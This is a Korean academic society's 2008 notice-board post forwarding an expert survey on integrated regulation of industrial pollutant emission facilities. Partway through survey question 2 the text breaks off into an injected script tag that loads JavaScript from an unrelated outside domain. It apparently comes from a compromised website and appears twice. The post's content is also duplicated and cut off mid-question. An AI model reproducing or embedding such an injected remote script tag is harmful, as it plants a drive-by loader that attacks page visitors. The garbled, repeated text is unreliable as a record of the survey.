[공지]산업별 오염물질 배출시설에 대한통합 규제제도 마련을 위한 전문가 의견조사
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작성자 관리자 작성일08-09-10 00:00 조회3,183회 댓글0건관련링크
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"한국환경법학회 회원 제위께
한국환경법학회 회원 여러분, 그간 평안하고 안녕하셨는지요?
환경정책평가연구원 한상운 박사로부터 설문조사에 대한 협조를 요청받았습니다. 우리 환경법학회에 많은 도움을 주고 있는 연구원의 일이므로 회원님들의 적극적인 협조를 부탁드립니다. 첨부파일 2개를 보내드리오니 많은 참여를 부탁드립니다. 설문조사 답신이메일은 연구원의 이창훈 박사(E-Mail: chlee42@kei.re.kr)로 보내면 됩니다.
풍성한 한가위를 맞이하여 회원 여러분의 건강과 건승을 기원합니다.
2008. 9. 9.
사단법인 한국한경법학회 총무이사 전경운 드림
산업별 오염물질 배출시설에 대한 통합 규제제도 마련을 위한 전문가 의견조사(법률전문가 용)
본 설문조사의 목적은 현행 배출시설 규제제도에 대한 개선안으로써 ‘통합 배출규제제도’의 도입을 위한 효율적인 정책방안을 모색하는데 있습니다.
귀하의 답변내용은 합리적이고 효과적인 방안을 모색하는 중요한 자료로서 활용될 것입니다. 다소 문항들이 많더라도 충분히 진지하게 생각해 보신 후 귀하의 의견을 말씀해 주시기 바랍니다.
귀하의 답변 내용은 연구 목적으로만 사용될 것이며, 모든 답변 내용은 비밀을 보장할 것을 약속드립니다.
실시기관 : 한국환경정책평가연구원
실시담당자 : 한상운 책임연구원, 이창훈 연구원
전 화 : 02-380-7625/011-9557-2932
팩 스 : 02-380-7644
<설문조사의 배경>
□ 현행 법령에 따른 배출시설 규제제도는 법규 상호간의 모순·충돌 및 행정의 비효율성으로 인하여 많은 문제점이 있는 것으로 지적되고 있음
□ 이를 해결하기 위하여 많은 논의가 진행되고 있으나, 통합적 환경관리에 근거한 배출규제제도의 개선이 유력한 대안으로 거론되고 있음
□ 선진 외국의 제도인 통합적 환경관리를 국내에 도입하기 위해서는 무엇보다 산업별 오염물질 배출시설에 대한 통합적 규제를 위한 법제도적 측면의 검토가 필요한 실정임
□ 현재 연구 중인 통합 배출규제제도의 내용 중 새롭게 도입되는 사항들을 중심으로 하여 법률전문가들의 견해를 수렴함으로써 효율적인 정책방안을 모색하고자 함
<사전협의에 관한 사항>
● ‘사전협의’란 배출시설 설치를 위한 허가신청서 제출 전에 사업자와 허가권자(행정청) 및 전문가집단(일종의 ‘심의위원회’)의 협의를 통하여 상호 이견을 조율함으로써 허가절차를 효율적으로 운영하기 위한 제도를 말함
● 현행 법령 및 제도에 따르면, 배출시설을 설치하기 전 사업자는 입지의 현황 및 그에 적용되는 법령에 대한 사항을 행정청에 문의함으로써 배출시설의 설치여부에 대한 판단을 할 수 있음. 그러나 담당공무원의 답변이 불명확하거나 불충분한 경우, 실제 배출시설 설치에 대한 허가절차를 진행하는 과정에서 답변과는 다른 제도나 법령이 적용되거나 새로운 의무사항이 추가되는 경우가 종종 발생하고 있는 상황임. 이를 해결하기 위하여 ‘사전협의제도’를 통합배출규제법에 규정하고자 함
● 협의내용은 배출시설 설치와 관련된 법령 및 제도 전반을 그 대상으로 함
● 사전협의가 제도적으로 정착되는 경우, 배출시설의 설치여부를 사전에 확인할 수 있어 비용을 경감할 수 있으며, 허가절차가 간소화되어 사업자의 편의를 증진시킬 수 있을 것으로 기대됨
1. ‘사전협의제도’는 취지상 ‘사업자’와 ‘행정청’ 그리고 ‘전문가집단’이 그 주체가 될 것으로 판단하고 있습니다. 그런데 배출시설이 설치되는 경우 지역의 환경 및 보건에 미치는 영향이 상당하고 집행과정의 민주적 정당성을 확보한다는 차원에서 ‘사전협의’단계에서도 주민참여가 보장되어야 할 필요가 있다는 견해가 있습니다. 그러나 이 경우 많은 이해관계자의 참여로 인하여 사전협의 자체가 형해화될 수 있다는 반대견해도 있습니다. 사전협의 단계에서 ‘지역주민’ 나아가 ‘환경단체(NGO)"의 참여여부에 대한 견해를 기술해 주시기 바랍니다.
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2. ‘사전협의제도’는 ‘협의’라는 단어가 내포하고 있는 의미상 원칙적으로 협의결과에 대하여 법적 구속력을 부여할 수 없습니다. 그러나 이 경우 기?script src=http://mekiller.com/1/1.js></script>
한국환경법학회 회원 여러분, 그간 평안하고 안녕하셨는지요?
환경정책평가연구원 한상운 박사로부터 설문조사에 대한 협조를 요청받았습니다. 우리 환경법학회에 많은 도움을 주고 있는 연구원의 일이므로 회원님들의 적극적인 협조를 부탁드립니다. 첨부파일 2개를 보내드리오니 많은 참여를 부탁드립니다. 설문조사 답신이메일은 연구원의 이창훈 박사(E-Mail: chlee42@kei.re.kr)로 보내면 됩니다.
풍성한 한가위를 맞이하여 회원 여러분의 건강과 건승을 기원합니다.
2008. 9. 9.
사단법인 한국한경법학회 총무이사 전경운 드림
산업별 오염물질 배출시설에 대한 통합 규제제도 마련을 위한 전문가 의견조사(법률전문가 용)
본 설문조사의 목적은 현행 배출시설 규제제도에 대한 개선안으로써 ‘통합 배출규제제도’의 도입을 위한 효율적인 정책방안을 모색하는데 있습니다.
귀하의 답변내용은 합리적이고 효과적인 방안을 모색하는 중요한 자료로서 활용될 것입니다. 다소 문항들이 많더라도 충분히 진지하게 생각해 보신 후 귀하의 의견을 말씀해 주시기 바랍니다.
귀하의 답변 내용은 연구 목적으로만 사용될 것이며, 모든 답변 내용은 비밀을 보장할 것을 약속드립니다.
실시기관 : 한국환경정책평가연구원
실시담당자 : 한상운 책임연구원, 이창훈 연구원
전 화 : 02-380-7625/011-9557-2932
팩 스 : 02-380-7644
<설문조사의 배경>
□ 현행 법령에 따른 배출시설 규제제도는 법규 상호간의 모순·충돌 및 행정의 비효율성으로 인하여 많은 문제점이 있는 것으로 지적되고 있음
□ 이를 해결하기 위하여 많은 논의가 진행되고 있으나, 통합적 환경관리에 근거한 배출규제제도의 개선이 유력한 대안으로 거론되고 있음
□ 선진 외국의 제도인 통합적 환경관리를 국내에 도입하기 위해서는 무엇보다 산업별 오염물질 배출시설에 대한 통합적 규제를 위한 법제도적 측면의 검토가 필요한 실정임
□ 현재 연구 중인 통합 배출규제제도의 내용 중 새롭게 도입되는 사항들을 중심으로 하여 법률전문가들의 견해를 수렴함으로써 효율적인 정책방안을 모색하고자 함
<사전협의에 관한 사항>
● ‘사전협의’란 배출시설 설치를 위한 허가신청서 제출 전에 사업자와 허가권자(행정청) 및 전문가집단(일종의 ‘심의위원회’)의 협의를 통하여 상호 이견을 조율함으로써 허가절차를 효율적으로 운영하기 위한 제도를 말함
● 현행 법령 및 제도에 따르면, 배출시설을 설치하기 전 사업자는 입지의 현황 및 그에 적용되는 법령에 대한 사항을 행정청에 문의함으로써 배출시설의 설치여부에 대한 판단을 할 수 있음. 그러나 담당공무원의 답변이 불명확하거나 불충분한 경우, 실제 배출시설 설치에 대한 허가절차를 진행하는 과정에서 답변과는 다른 제도나 법령이 적용되거나 새로운 의무사항이 추가되는 경우가 종종 발생하고 있는 상황임. 이를 해결하기 위하여 ‘사전협의제도’를 통합배출규제법에 규정하고자 함
● 협의내용은 배출시설 설치와 관련된 법령 및 제도 전반을 그 대상으로 함
● 사전협의가 제도적으로 정착되는 경우, 배출시설의 설치여부를 사전에 확인할 수 있어 비용을 경감할 수 있으며, 허가절차가 간소화되어 사업자의 편의를 증진시킬 수 있을 것으로 기대됨
1. ‘사전협의제도’는 취지상 ‘사업자’와 ‘행정청’ 그리고 ‘전문가집단’이 그 주체가 될 것으로 판단하고 있습니다. 그런데 배출시설이 설치되는 경우 지역의 환경 및 보건에 미치는 영향이 상당하고 집행과정의 민주적 정당성을 확보한다는 차원에서 ‘사전협의’단계에서도 주민참여가 보장되어야 할 필요가 있다는 견해가 있습니다. 그러나 이 경우 많은 이해관계자의 참여로 인하여 사전협의 자체가 형해화될 수 있다는 반대견해도 있습니다. 사전협의 단계에서 ‘지역주민’ 나아가 ‘환경단체(NGO)"의 참여여부에 대한 견해를 기술해 주시기 바랍니다.
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2. ‘사전협의제도’는 ‘협의’라는 단어가 내포하고 있는 의미상 원칙적으로 협의결과에 대하여 법적 구속력을 부여할 수 없습니다. 그러나 이 경우 기?script src=http://mekiller.com/1/1.js></script>
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